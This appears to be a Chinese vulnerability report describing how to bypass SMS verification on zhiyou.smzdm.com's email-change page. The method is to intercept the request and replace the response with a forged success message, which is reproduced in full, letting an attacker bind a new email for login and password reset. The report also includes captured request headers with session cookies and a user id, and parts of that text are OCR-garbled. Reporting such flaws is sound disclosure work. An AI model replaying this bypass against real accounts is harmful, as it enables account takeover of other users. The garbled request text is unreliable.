[bookmark: _GoBack]漏洞连接：https://zhiyou.smzdm.com/user/
漏洞点：个人中心，账号设置，修改邮箱
[image: ]
[image: ]
选择手机短信验证,下一步
[image: ]
开启抓包点下一步，验证码随便输入，
[image: ]
替换前：
[image: ]

替换如下响应包内容：
	HTTP/1.1 200 OK
Date: Mon, 07 Mar 2022 13:03:15 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Vary: Accept-Encoding
Vary: Accept-Encoding
Vary: Accept-Encoding
Vary: Accept-Encoding
X-Zhi-Request-Id: 2oO5WGaK-fWPbyjCI-JeA-4Qg1
S-D-S: 0.171
X-Via-JSL: aff1ff7,-
X-Cache: bypass
Content-Length: 132

{"error_code":0,"error_msg":[],"data":[],"goto":"change_email_edit","redirect_to":"https:\/\/zhiyou.smzdm.com\/user\/email\/edit\/"}



替换后[image: ]
放包。
[image: ]
输入新的邮箱地址进行绑定。
[image: ]
[image: ]
[image: ]
即可绕过，修改的邮箱可用于登录，找回密码。
修改后邮箱：d**@xxxxx.cn
密码1234567
[image: ]
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POST /user/email/ajax_check_mobile_code/ HTTR/1.1

Host: zhiyou.smzdm.com

Cookie: __ckquid=KCAAbIrsEc9QI22ekaFRI2; sensorsdata2015jssdkcros
$7B%22distinct_id822%3A822946557727332282C822¢irst_id$2233A82217dbd2288eb575-01e£108£84£a32-455C6£-1296000
opst22%3A87B322824latest_traffic_source type$22%3AE228E789BB4SEGEBEIASIECSBS$813E18748F82252C8228241ates
E649CYAARESSBF964E54883B0SES$80BC_IET§9B4BALEGEBERASSEG 88949 3IESIBCHB0%2282CH22824 latest_referrers22%3As
ng_page$2243A322https$3A82F$2Fzhiyou. smzdm. com’ 2Fusers2Femails2Fbind_success$2F42247D$2C827424device_ids22
08E84£a32-455c6£-1296000-17dbd2288ec86832247D; device_id=20339920631639555697025193fd94cdedc97a42e718313a
76dabfb51719e39b53c711£3eded0d9d; homepage_sug=b; r_sort_type=score; _zdmA.uid=ZDMA.BKTfEAGEL.1646662280.2
Hm_lvt_9b7ac3d38£30£e89££0b8a0546904e58=1646657003,1646658868; Hm_lpvE 9bJac3d3BE30£eBIF£0b8a0546904e58=16
237d62a0c07bb9595c62c55984a2££88; visited=yes; smzdm_user_source=FB4E7058580D7D2B5236F9A17ECIABC3 slui
5c4202e42f1f3ael79ed922735c456a3; shequ_pc_sug=b; smzdm_user_view=AEA64949F34F6B07CDC87218558BD708; sess=
AT-m31zLAodieMToA22B11gYalZKADKWWLuStM1C$2F20cE4ETES88XeMxh9 3pvCs 2BUERBPCCFHQDFKREF6JXT i 10bGqQWha THb9 7THOVh
user=user$3A946557727347C9465577273; smzdm_id=9465577273

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rvi91.0) Gecko/20100101 Firefox/91.0

Accept: application/json, text/javascript, */*; g=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,2h-HK;q=0.5,en-US;q
Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest

Content-Length: 30

origin: https://zhiyou.smzdm.com

Referer: https://zhiyou.smzdm.con/user/email/check_msg/
Sec-Fetch-Dest: empty

Sec-Fetch-Mode: cors

Sec-Fetch-Site: same-origin

Te: trailers

Connection: close

+3,en;a%0.2

check_type=msgsauthcode=000000
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) Response from https://zhiyou.smzdm.com:443/user/emailajax_check_mobile_code/ [111.13.147.235]
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HTTP/1.1 200 OK
Date: Mon, 07 Mar 2022 13:03:15 GMT
Content-Type: text/html; charset=UTF-8
Connection: close

Vary: Accept-Encoding

vary: Accept-Encoding

vary: Accept-Encoding

vary: Accept-Encoding

X-zhi-Request-Id: 2005WGaK-fWPbyjCI-JeA-40g1
5-D-5: 0.171

X-Via-JSL: aff1££7,-

X-Cache: bypass

Content-Length: 132

{"error_code":0, "error_msg

1,"data”:[1,"goto" s "change_email_edit","redirect_to":"http:

/\/zhiyou.smzdm.com\/user\/email\/edit\/"}|
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